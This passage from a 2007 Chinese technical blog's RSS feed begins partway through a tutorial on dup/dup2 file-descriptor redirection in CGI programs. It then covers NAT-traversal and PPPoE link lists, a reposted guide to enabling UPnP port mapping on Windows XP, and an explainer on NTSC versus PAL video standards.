<p>　　　fd标志　文件指针<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _____________________<br />fd 0:|________|____________|&#8212;&#8212;&#8212;&#8212;&gt; 文件表<br />fd 1:|________|____________|<br />fd 2:|________|____________|<br />fd 3:|________|____________|<br />&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; &#8230;&#8230;.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />&nbsp;&nbsp;&nbsp;&nbsp; |_____________________|</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 图１<br />　　　　　　　<br />文件表中包含:文件状态标志、当前文件偏移量、v节点指针，这些不是本文讨论的</p>
<p>重点，我们只需要知道每个打开的文件描述符(fd标志)在进程表中都有自己的文件表</p>
<p>项，由文件指针指向。</p>
<p>2. dup/dup2函数</p>
<p>APUE和man文档都用一句话简明的说出了这两个函数的作用：复制一个现存的文件描述符。</p>
<p>#include &lt;unistd.h&gt;</p>
<p>int dup(int oldfd);</p>
<p>int dup2(int oldfd, int newfd);</p>
<p>从图１来分析这个过程，当调用dup函数时，内核在进程中创建一个新的文件描述符，此</p>
<p>描述符是当前可用文件描述符的最小数值，这个文件描述符指向oldfd所拥有的文件表项。</p>
<p>　　进程表项<br />&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;</p>
<p>　　　fd标志　文件指针<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _____________________<br />fd 0:|________|____________|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ______<br />fd 1:|________|____________|&#8212;&#8212;&#8212;&#8212;&#8212;-&gt; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />fd 2:|________|____________|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |文件表|<br />fd 3:|________|____________|&#8212;&#8212;&#8212;&#8212;&#8212;-&gt; |______|<br />&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; &#8230;&#8230;.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />&nbsp;&nbsp;&nbsp;&nbsp; |_____________________|</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 图2：调用dup后的示意图</p>
<p>如图2 所示，假如oldfd的值为1, 当前文件描述符的最小值为3,　那么新描述符3指向</p>
<p>描述符１所拥有的文件表项。</p>
<p>dup2和dup的区别就是可以用newfd参数指定新描述符的数值，如果newfd已经打开，则</p>
<p>先将其关闭。如果newfd等于oldfd，则dup2返回newfd, 而不关闭它。dup2函数返回的新</p>
<p>文件描述符同样与参数oldfd共享同一文件表项。</p>
<p>APUE用另外一个种方法说明了这个问题：</p>
<p>实际上，调用dup(oldfd)；</p>
<p>等效与<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fcntl(oldfd, F_DUPFD, 0)</p>
<p>而调用dup2(oldfd, newfd)；</p>
<p>等效与<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; close(oldfd)；<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fcntl(oldfd, F_DUPFD, newfd)；</p>
<p>3. CGI中dup2</p>
<p>写过CGI程序的人都清楚，当浏览器使用post方法提交表单数据时，CGI读数据是从标准</p>
<p>输入stdin, 写数据是写到标准输出stdout(c语言利用printf函数)。按照我们正常的理</p>
<p>解，printf的输出应该在终端显示，原来CGI程序使用dup2函数将STDOUT_FINLENO(这个</p>
<p>宏在unitstd.h定义，为１)这个文件描述符重定向到了连接套接字。</p>
<p>dup2(connfd, STDOUT_FILENO)；　／*实际情况还涉及到了管道，不是本文的重点*/</p>
<p>如第一节所说，　一个进程默认的文件描述符１(STDOUT_FILENO)是和标准输出stdout相</p>
<p>关联的，对于内核而言，所有打开的文件都通过文件描述符引用，而内核并不知道流的</p>
<p>存在(比如stdin、stdout)，所以printf函数输出到stdout的数据最后都写到了文件描述</p>
<p>符１里面。至于文件描述符0、１、2与标准输入、标准输出、标准错误输出相关联，这</p>
<p>只是shell以及很多应用程序的惯例，而与内核无关。</p>
<p>用下面的流图可以说明问题:(ps: 虽然不是流图关系，但是还是有助于理解)</p>
<p>printf －&gt; stdout －&gt; STDOUT_FILENO(1) －&gt; 终端(tty)</p>
<p>printf最后的输出到了终端设备，文件描述符１指向当前的终端可以这么理解：</p>
<p>STDOUT_FILENO = open(&quot;/dev/tty&quot;, O_RDWR);</p>
<p>使用dup2之后STDOUT_FILENO不再指向终端设备，　而是指向connfd, 所以printf的</p>
<p>输出最后写到了connfd。是不是很优美？:)</p>
<p>4. 如何在CGI程序的fork子进程中还原STDOUT_FILENO</p>
<p>如果你能看到这里，感谢你的耐心，　我知道很多人可能感觉有点复杂，　其实</p>
<p>复杂的问题就是一个个小问题的集合。所以弄清楚每个小问题就OK了，第三节中</p>
<p>说道，STDOUT_FILENO被重定向到了connfd套接字，　有时候我们可能想在CGI程序</p>
<p>中调用后台脚本执行，而这些脚本中难免会有一些输入输出，　我们知道fork之后，</p>
<p>子进程继承了父进程的所有文件描述符，所以这些脚本的输入输出并不会如我们愿</p>
<p>输出到终端设备，而是和connfd想关联了，这个显然会扰乱网页的输出。那么如何</p>
<p>恢复STDOUT_FILENO和终端关联呢？</p>
<p>方法１：在dup2之前保存原有的文件描述符，然后恢复。</p>
<p>代码实现如下：</p>
<p>savefd = dup(STDOUT_FILENO);　／*savefd此时指向终端*/</p>
<p>dup2(connfd, STDOUT_FILENO);&nbsp;&nbsp; /*STDOUT_FILENO(1) 被重新指向connfd*/</p>
<p>&#8230;..&nbsp; /*处理一些事情*/</p>
<p>dup2(savefd, STDOUT_FILENO);&nbsp; /*STDOUT_FILENO(1)　恢复指向savefd*/</p>
<p>很遗憾CGI程序无法使用这种方法，　因为dup2这些不是在CGI程序中完成的，而是在</p>
<p>web server中实现的，修改web server并不是个好主意。</p>
<p>方法2: 追本溯源，打开当前终端恢复STDOUT_FILENO。</p>
<p>分析第三节的流图，　STDOUT_FILENO是如何和终端关联的？　我们重头做一遍不就行</p>
<p>了，　代码实现如下：</p>
<p>ttyfd = open(&quot;/dev/tty&quot;, O_RDWR);</p>
<p>dup2(ttyfd, STDOUT_FILENO);</p>
<p>close(ttyfd);</p>
<p>/dev/tty是程序运行所在的终端，　这个应该通过一种方法获得。实践证明这种方法</p>
<p>是可行的，但是我总感觉有些不妥，不知道为什么，可能一些潜在的问题还没出现。</p>
<p>目前我就想到这两种方法，　不知道你有什么好的想法？　有的话希望告诉我:)</p>
<p>终于收尾了，一早上过来写，没想到写了两个小时才写完，好久没有写原创了，又重拾</p>
<p>了以前那美妙的感觉:)</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.donews.com/mutecat/archive/2007/09/20/1212178.aspx/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>nat穿越资料</title>
		<link>http://blog.donews.com/mutecat/archive/2007/08/11/1196573.aspx</link>
		<comments>http://blog.donews.com/mutecat/archive/2007/08/11/1196573.aspx#comments</comments>
		<pubDate>Sat, 11 Aug 2007 06:13:00 +0000</pubDate>
		<dc:creator>mutecat</dc:creator>
				<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://blog.donews.com/mutecat/archive/2007/08/11/1196573.aspx</guid>
		<description><![CDATA[<p><a href="http://blog.csdn.net/max2008/archive/2007/06/24/1664883.aspx">http://blog.csdn.net/max2008/archive/2007/06/24/1664883.aspx</a></p>
<p><a href="http://www.ppcn.net/n1306c2.aspx">http://www.ppcn.net/n1306c2.aspx</a></p>
<p><a href="http://www.ppcn.net/n2422c38.aspx">http://www.ppcn.net/n2422c38.aspx</a></p>
<p><a href="http://sumtec.cnblogs.com/archive/2004/04/21/6927.aspx">http://sumtec.cnblogs.com/archive/2004/04/21/6927.aspx</a></p>
<p><a href="http://midcom-p2p.sourceforge.net/]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.csdn.net/max2008/archive/2007/06/24/1664883.aspx">http://blog.csdn.net/max2008/archive/2007/06/24/1664883.aspx</a></p>
<p><a href="http://www.ppcn.net/n1306c2.aspx">http://www.ppcn.net/n1306c2.aspx</a></p>
<p><a href="http://www.ppcn.net/n2422c38.aspx">http://www.ppcn.net/n2422c38.aspx</a></p>
<p><a href="http://sumtec.cnblogs.com/archive/2004/04/21/6927.aspx">http://sumtec.cnblogs.com/archive/2004/04/21/6927.aspx</a></p>
<p><a href="http://midcom-p2p.sourceforge.net/draft-ford-midcom-p2p-01.txt">http://midcom-p2p.sourceforge.net/draft-ford-midcom-p2p-01.txt</a></p>
<p><a href="http://sumtec.cnblogs.com/sumtec/archive/2004/04/21/6985.aspx">http://sumtec.cnblogs.com/sumtec/archive/2004/04/21/6985.aspx</a></p>
<p><a href="http://cache1.club.ppstream.com/topic/3/313371/1.html">http://cache1.club.ppstream.com/topic/3/313371/1.html</a></p>
<p><a href="http://www.watersprings.org/pub/id/draft-takeda-symmetric-nat-traversal-00.txt">http://www.watersprings.org/pub/id/draft-takeda-symmetric-nat-traversal-00.txt</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.donews.com/mutecat/archive/2007/08/11/1196573.aspx/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>P2P端口映射UPnP功能和使用详解(zz)</title>
		<link>http://blog.donews.com/mutecat/archive/2007/08/01/1192531.aspx</link>
		<comments>http://blog.donews.com/mutecat/archive/2007/08/01/1192531.aspx#comments</comments>
		<pubDate>Wed, 01 Aug 2007 07:54:00 +0000</pubDate>
		<dc:creator>mutecat</dc:creator>
				<category><![CDATA[Linux应用-服务器领域]]></category>

		<guid isPermaLink="false">http://blog.donews.com/mutecat/archive/2007/08/01/1192531.aspx</guid>
		<description><![CDATA[在网上看了很多关于如何打开UPnP功能的文章，发现竟然没有一篇文章能把整个UPnP的设置过程介绍全的，都是只讲到一部分。所以决定写篇文章，至少把设置UPnP的整体思路理一下，因为涉及到不同的操作系统以及不同型号的ADSL Modem，所以此文也不可能面面俱到，但至少提供一个较为完整的思路。因水平有限，不到之处还请高手指点。 
]]></description>
			<content:encoded><![CDATA[<p>在网上看了很多关于如何打开UPnP功能的文章，发现竟然没有一篇文章能把整个UPnP的设置过程介绍全的，都是只讲到一部分。所以决定写篇文章，至少把设置UPnP的整体思路理一下，因为涉及到不同的操作<a href="http://www.xker.com/edu/os/" target="_blank">系统</a>以及不同型号的ADSL Modem，所以此文也不可能面面俱到，但至少提供一个较为完整的思路。因水平有限，不到之处还请高手指点。 </p>
<p>　　一、UPnP的概念： </p>
<p>　　以下是微软官方<a href="http://www.xker.com/edu/management/" target="_blank">网站</a>对UPnP的解释： </p>
<p>　　问：什么是 UPnP？ </p>
<p>　　答：通用即插即用 (UPnP) 是一种用于 PC 机和智能设备（或仪器）的常见对等网络连接的体系结构，尤其是在家庭中。UPnP 以 Internet 标准和技术（例如 TCP/IP、HTTP 和 XML）为基础，使这样的设备彼此可自动连接和协同工作，从而使网络（尤其是家庭网络）对更多的人成为可能。 </p>
<p>　　问：UPnP 对消费者意味着什么？ </p>
<p>　　答：简单、更多选择和更新颖的体验。包含通用即插即用技术的网络产品只需实际连到网络上，即可开始正常工作。实际上，UPnP 可以和任何网络媒体技术（有线或无线）协同使用。举例来说，这包括：Category 5 以太网电缆、Wi-Fi 或 802.11B 无线网络、IEEE 1394(&quot;Firewire&quot;)、电话线网络或电源线网络。当这些设备与 PC 互连时，用户即可充分利用各种具有创新性的服务和应用程序。 </p>
<p>　　以下是BC官方<a href="http://www.xker.com/edu/management/" target="_blank">网站</a>对UPnP的解释： </p>
<p>　　UPnP（Universal Plug and Play），通用即插即用，是一组协议的统称，不能简单理解为UPnP=&ldquo;自动端口映射&rdquo;。在BitComet下载中，UPnP包含了2层意思： </p>
<p>　　1、对于一台内网电脑，BitComet的UPnP功能可以使网关或路由器的NAT模块做自动端口映射，将BitComet监听的端口从网关或路由器映射到内网电脑上。 </p>
<p>　　2、网关或路由器的网络防火墙模块开始对Internet上其他电脑开放这个端口。 </p>
<p>　　我倒是觉得微软的解释过于理论化，适合写入牛津大词典；而BC官方<a href="http://www.xker.com/edu/management/" target="_blank">网站</a>的解释过于含蓄晦涩。其实对于一般的使用者来讲，简单的把UPnP理解为自动端口映射就可以了。它就是一种基于TCP/IP协议的，针对设备彼此间的通讯而制订的新的Internet协议，目的就是希望未来所有联入Internet中的设备能够不受网关阻碍的相互通信。 </p>
<p>　　二、哪些用户需要用UPnP功能？ </p>
<p>　　1、只有在需要使用一些支持UPnP功能的P2P软件的时候，如BT、电骡eMule、MSN等，我们才需要考虑UPnP这个东东。如果你根本就不用这些软件，仅仅是上网浏览的话，下文就没必要看了； </p>
<p>　　2、如果你需要使用这些P2P软件，但你是外网用户，那么下文也可以不看了，因为你不需要做什么UPnP就可以正常使用这些P2P软件了； <br />　　3、如果你是内网用户，但你已经手动为这些P2P软件进行了端口映射，如在使用BC下载时，在&ldquo;用户列表&rdquo;中已经看到&ldquo;远程&rdquo;，或者是使用电骡eMule连接服务器成功后，已经显示为高ID，那么下文也可以不看了。 </p>
<p>　　但需要注意的是，手动做的端口映射只是针对某个P2P软件起作用，如果再使用新的P2P软件的话，仍然需要针对新的P2P软件做相应的端口映射才可以； </p>
<p>　　4、如果你是内网用户，需要使用这些P2P软件，而且并未进行手动端口映射，比如在使用BC进行下载时,&ldquo;用户列表&rdquo;中只有&ldquo;本地&rdquo;而没有&ldquo;远程&rdquo;，在使用电骡eMule的时候，显示的也是低ID，那么此时我们才需要考虑端口映射的问题！ </p>
<p>　　这时我们可以有两种选择： </p>
<p>　　1、进行手动端口映射。 </p>
<p>　　2、打开UPnP功能，进行自动端口映射，也就是我们下面所讲的内容； </p>
<p>　　小结：UPnP自动端口映射的目的： </p>
<p>　　以BC为例，手动端口映射和自动UPnP端口映射都是为了获得远程连接，因此凡是在&ldquo;用户列表&rdquo;里看见了&ldquo;远程&rdquo;的用户，都不需要进行端口映射或是UPnP！UPnP和端口映射只需要取其一，他们相当于达到目的的2种不同的方法而已。 </p>
<p>　　因此如果你的<a href="http://www.xker.com/edu/os/" target="_blank">系统</a>或者硬件不支持UPnP功能，大可不必伤心，按照第3点的链接文章中的方法手动做端口映射就可以了，效果是一样的；&nbsp;&nbsp;<br />三、实现UPnP必须满足哪些条件： </p>
<p>　　必须同时满足3个条件： </p>
<p>　　1、Modem必须支持UPnP功能：是否具备此功能可查阅说明书或者直接咨询厂家。一般来讲，Modem还必须同时支持路由功能，除非你配备了单独的路由器； </p>
<p>　　2、操作<a href="http://www.xker.com/edu/os/" target="_blank">系统</a>的支持：文章开头提到的那篇介绍UPnP的文章中，提到只有windows xp<a href="http://www.xker.com/edu/os/" target="_blank">系统</a>才支持UPnP功能，但微软的官方<a href="http://www.xker.com/edu/management/" target="_blank">网站</a>声称从Windows Me开始就已经支持UPnP功能了。但Windows Me这个操作<a href="http://www.xker.com/edu/os/" target="_blank">系统</a>我也没有用过，大家可以自行测试； </p>
<p>　　3、软件必须支持UPnP功能：如BC、电骡eMule、MSN等软件都支持UPnP功能； </p>
<p>　　顺便提一下，目前的几款视讯聊天软件各有其特殊性，象Netmeeting、QQ等就不支持UPnP功能，文章的最后会详细阐述一下这几款<a href="http://tv.xker.com/" target="_blank">视频</a>聊天软件的特殊性，此处不深入探讨，一笔带过； </p>
<p>　　注意：以上3个条件必须同时满足，缺一不可，否则你只能考虑进行手动端口映射了；</p>
<p>&nbsp;</p>
<p>　　四、如何打开UPnP功能 </p>
<p>　　如果已经满足了上述的3个条件，那么我们就一步一步的讲解一下到底如何才能打开UPnP功能； </p>
<p>　　1、在Modem中打开UPnP功能。 </p>
<p>　　不同型号的Modem设置界面和方法略有不同，如有些是在下拉菜单中选择Enable，但基本的原理都是一样的； </p>
<p>　　有些文章提到，此时要把所有桥接的eoa连接都删除掉，我倒是认为大可不必如此。因为目前只有你的PPPOE连接是有效的，其它的几个eoa所对应的VPI和VCI根本就是无效的，所以没有必要删除。但是否有些型号的Modem会比较特殊也很难讲，因此建议此时暂不删除，把全部设置进行完后，如果还是没有打开UPnP，再尝试把eoa删除掉； </p>
<p>　　当然，设置完后，一定要保存并重启Modem； </p>
<p>　　2、在操作<a href="http://www.xker.com/edu/os/" target="_blank">系统</a>中打开UPnP功能： </p>
<p>　　如果你使用的是XP SP2<a href="http://www.xker.com/edu/os/" target="_blank">系统</a>，则首先进入：控制面板－&gt;添加或删除程序－&gt;添加/删除windows组件中，在&ldquo;网络服务&rdquo;中勾选&ldquo;UPnP用户界面&rdquo;。 </p>
<p>　　确定后，<a href="http://www.xker.com/edu/os/" target="_blank">系统</a>会自动安装相应的组件，可能会提示你插入安装光盘，总之按照提示操作完成即可； </p>
<p>　　接着打开Windows自带的防火墙，在&ldquo;例外&rdquo;选项卡中勾选&ldquo;UPnP框架&rdquo;。 </p>
<p>　　其实有个更加简单的方法可以同时完成以上两步：双击桌面上的网上邻居（注意是鼠标左键双击，不是右键查看属性），然后点击&ldquo;显示联网的UPnP设备的图标&rdquo;，<a href="http://www.xker.com/edu/os/" target="_blank">系统</a>会自动安装UPnP组件以及在防火墙中打开UPnP框架，实际上就是一次性完成上面两步的工作； </p>
<p>　　如果你使用的是XP SP1<a href="http://www.xker.com/edu/os/" target="_blank">系统</a>，那么在&ldquo;windows组件&rdquo;中显示的是&ldquo;通用即插即用&rdquo;，而不是&ldquo;UPnP用户界面&rdquo;，选择此项即可。 </p>
<p>　　而且XP SP1<a href="http://www.xker.com/edu/os/" target="_blank">系统</a>的防火墙并没有UPnP框架的选项，需要手动进行端口添加，另一教程对此做了阐述，现引用过来： </p>
<p>　　【请在防火墙设置中，点&ldquo;高级&rdquo;，然后自行添加如下两个端口：TCP端口类型，端口号为：2869，UDP端口类型，端口号为：1900 。由于你使用了NAT网关，所以你应该设置的是您连接到该网关的网卡的防火墙。而且网关内部均为内网，所以开启这两个端口，不会对<a href="http://www.xker.com/edu/os/" target="_blank">系统</a>造成安全隐患（除非你的NAT网关被绕过，否则外部连接无法检测到该端口）。】 </p>
<p>　　以上的防火墙设置只是针对windows自带的防火墙，如果你安装了其它的防火墙，必须在该防火墙中打开UPnP框架； </p>
<p>　　3、在windows中打开相应的UPnP服务： </p>
<p>　　进入&ldquo;控制面板－&gt;管理工具－&gt;服务&rdquo;，找到SSDP Discovery Service和Universal Plug and Play Device Host两项服务。 </p>
<p>　　右击相应的服务项，选择属性，启动这两项服务。 </p>
<p>　　做完以上工作后，如果操作正确，我们就可以在&ldquo;网络连接&rdquo;中看到多了一项网关，这表明添加UPnP已经成功； </p>
<p>　　4、打开P2P软件中的UPnP功能： </p>
<p>　　以BC和电骡eMule为例，相应的设置选项。 </p>
<p>　　到此为止，我们打开UPnP的工作才真正结束。 </p>
<p>　　以BC为例，成功添加UPnP功能后，在&ldquo;全局日志&rdquo;中我们会看到类似下面的几行： <br />Windows XP UPnP Status: Found WAN Connection Device[Linksys Inc.] [http://www.linksys.com/] <br />Windows XP UPnP Status: WAN IP: 218.30.*.* <br />Windows XP UPnP Status: Port Mapping Existed! </p>
<p>　　此时我们用BC进行下载，如果用户列表中有&ldquo;远程&rdquo;，或者用电骡eMule连接服务器后显示为高ID，那么就大功告成了！ </p>
<p>　　五、对几款<a href="http://tv.xker.com/" target="_blank">视频</a>聊天软件的简单对比说明： </p>
<p>　　目前常用的<a href="http://tv.xker.com/" target="_blank">视频</a>聊天软件主要有MSN、Netmeeting和QQ等，这3款软件中只有MSN支持UPnP功能，而且发现在MSN的选项中并没有设置UPnP功能的选项，也就是说MSN始终是默认打开UPnP功能的。另外，MSN似乎也没有象BC或者电骡eMule那样提供可以手动进行端口映射的端口号，因此只要没有打开UPnP功能，MSN的功能就会受限，比如不能进行语音通信等； </p>
<p>　　而Netmeeting虽然不支持UPnP功能，但是却提供了可以进行手动进行端口映射的端口号，如果你是内网用户，只要手动进行1503和1720两个端口的映射即可正常使用所有音<a href="http://tv.xker.com/" target="_blank">视频</a>功能； </p>
<p>　　QQ是用UDP的方式，通过UDP服务器来实现音<a href="http://tv.xker.com/" target="_blank">视频</a>以及文件的传输，跟UPnP没有什么关系，所以无论内网还是外网，使用QQ都畅行无阻，只是传输的速率要慢些； </p>
<p>　　说实话，本人平时也不常上网聊天，所以对这些聊天软件了解也不深，如果有说得不对的地方，欢迎高手指点。 </p>
<p id="TBPingURL">Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1664883</p>
<p></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.donews.com/mutecat/archive/2007/08/01/1192531.aspx/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>PPPOE流程 PPPOE协议</title>
		<link>http://blog.donews.com/mutecat/archive/2007/07/27/1190990.aspx</link>
		<comments>http://blog.donews.com/mutecat/archive/2007/07/27/1190990.aspx#comments</comments>
		<pubDate>Fri, 27 Jul 2007 10:42:00 +0000</pubDate>
		<dc:creator>mutecat</dc:creator>
				<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://blog.donews.com/mutecat/archive/2007/07/27/1190990.aspx</guid>
		<description><![CDATA[<p><a href="http://bbs.sq188.cn/viewthread.php?tid=784">http://bbs.sq188.cn/viewthread.php?tid=784</a></p>
<p><a href="http://blog.csdn.net/zhoujunyi/archive/2007/05/22/1621279.aspx">http://blog.csdn.net/zhoujunyi/archive/2007/05/22/1621279.aspx</a></p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://bbs.sq188.cn/viewthread.php?tid=784">http://bbs.sq188.cn/viewthread.php?tid=784</a></p>
<p><a href="http://blog.csdn.net/zhoujunyi/archive/2007/05/22/1621279.aspx">http://blog.csdn.net/zhoujunyi/archive/2007/05/22/1621279.aspx</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.donews.com/mutecat/archive/2007/07/27/1190990.aspx/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>监控系统中N制和P制区别(zz)</title>
		<link>http://blog.donews.com/mutecat/archive/2007/03/08/1137788.aspx</link>
		<comments>http://blog.donews.com/mutecat/archive/2007/03/08/1137788.aspx#comments</comments>
		<pubDate>Thu, 08 Mar 2007 03:17:00 +0000</pubDate>
		<dc:creator>mutecat</dc:creator>
				<category><![CDATA[Linux应用-服务器领域]]></category>

		<guid isPermaLink="false">http://blog.donews.com/mutecat/archive/2007/03/08/1137788.aspx</guid>
		<description><![CDATA[很多人都知道有NTSC和PAL两大制式，那到底什么是NTSC制式？什么是PAL制式呢？简单的说，NTSC和PAL属于全球两大主要的电视广播制式，但是由于系统投射颜色影像的频率而有所不同。NTSC是National Television System Committee的缩写，其标准主要应用于日本、美国，加拿大、墨西哥等等，PAL 则是Phase Alternating Line的缩写，主要应用于中国，香港、中东地区和欧洲一带。 
]]></description>
			<content:encoded><![CDATA[<table id="table18" cellspacing="0" cellpadding="0" width="96%" border="0">
<tbody>
<tr>
<td height="34">
<p align="center"><strong><font color="#1f3a87" size="2">监控系统中N制和P制区别</font></strong></p>
<p align="left"><strong><font color="#1f3a87" size="2">zz&nbsp; from http://www.iet.com.cn/epistemeshow1.htm</font></strong></p>
</td>
</tr>
<tr>
<td>&nbsp;&nbsp;&nbsp; NTCS制式与PAL制式</p>
<p>&nbsp;&nbsp;&nbsp; 很多人都知道有NTSC和PAL两大制式，那到底什么是NTSC制式？什么是PAL制式呢？简单的说，NTSC和PAL属于全球两大主要的电视广播制式，但是由于系统投射颜色影像的频率而有所不同。NTSC是National Television System Committee的缩写，其标准主要应用于日本、美国，加拿大、墨西哥等等，PAL 则是Phase Alternating Line的缩写，主要应用于中国，香港、中东地区和欧洲一带。 </p>
<p>&nbsp;&nbsp;&nbsp; 这两种制式是不能互相兼容的，如果在PAL制式的电视上播放NTSC的影响，画面将变成黑白，NTSC制式的也是一样。而做为视频拍摄工具的数码摄像机，也同样有制式的问题，比如我国使用PAL制式，在我国销售的数码摄像机都是PAL制式的，如果是NTSC制式的摄像机拍摄出来的图象不能在PAL制式的电视机上正常播放。因此，可以肯定的说，在我国销售的数码摄像机行货一定是PAL制式的，如果是NTSC制式的数码摄像机，则一定是水货。</p>
<p>&nbsp;&nbsp;&nbsp; PAL制式和NTSC的分辨率也有所不同，PAL制式使用的是720*576，而NTSC制式使用的是760*480，在分辨率上PAL稍稍占有优势。而PAL制式的画面解析度720*576，约40万象素，也决定了PAL制式的数码摄像机的CCD大小应该为40万的倍数或者半倍数，比如2倍或者1.5倍，所以PAL制式数码摄像机都是80万，或者107万（接近100万，40万的2.5倍）、155万（接近160万，40万的4倍）。而NTSC制式的画面解析度为720*480，约34万象素，所以NTSC制式的数码摄像机一般为68万象素等等。</p>
<p>&nbsp;&nbsp;&nbsp; 目前的视频采集软件都支持PAL和NTSC制式，但是在编辑过程中是不能同时使用NTSC制式的素材和PAL制式的素材，必须用过转换才能在同一时间轴上使用两个素材。</p>
<p>　&nbsp; 在PC领域，由于使用的制式不同，存在不兼容的情况。就拿分辨率来说，有的制式每帧有625线（50Hz），有的则每帧只有525线（60 Hz）。后者是北美和日本采用的标准，统称为NTSC。通常，一个视频信号是由一个视频源生成的，比如摄像机、VCR或者电视调谐器等。为传输图像，视频源首先要生成-个垂直同步信号（V SYNC）。这个信号会重设接收端设备（PC显示器），保征新图像从屏幕的顶部开始显示。发出VSYNC信号之后，视频源接着扫描图像的第一行。完成后，视频源又生成一个水平同步信号，重设接收端，以便从屏幕左侧开始显示下一行。并针对图像的每一行，都要发出一条扫描线，以及一个水平同步脉冲信号。 　　另外，NTSC标准还规定视频源每秒钟需要发送30幅完整的图像（帧）。假如不作其它处理，闪烁现象会非常严重。为解决这个问题，每帧又被均分为两部分，每部分2 62.5行。一部分全是奇数行，另一部分则全是偶数行。显示的时候，先扫描奇数行，再扫描偶数行，就可以有效地改善图像显示的稳定性，减少闪烁。目前世界上彩色电视主要有三种制式，即N TSC、PAL和SECAM制式，三种制式目前尚无法统一。</p>
</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://blog.donews.com/mutecat/archive/2007/03/08/1137788.aspx/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>开学了,过来看看.</title>
		<link>http://blog.donews.com/mutecat/archive/2007/03/02/1135056.aspx</link>
		<comments>http://blog.donews.com/mutecat/archive/2007/03/02/1135056.aspx#comments</comments>
		<pubDate>Fri, 02 Mar 2007 08:53:00 +0000</pubDate>
		<dc:creator>mutecat</dc:creator>
				<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://blog.donews.com/mutecat/archive/2007/03/02/1135056.aspx</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://blog.donews.com/mutecat/archive/2007/03/02/1135056.aspx/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 0.318 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2012-02-11 13:23:49 -->
<!-- Compression = gzip -->
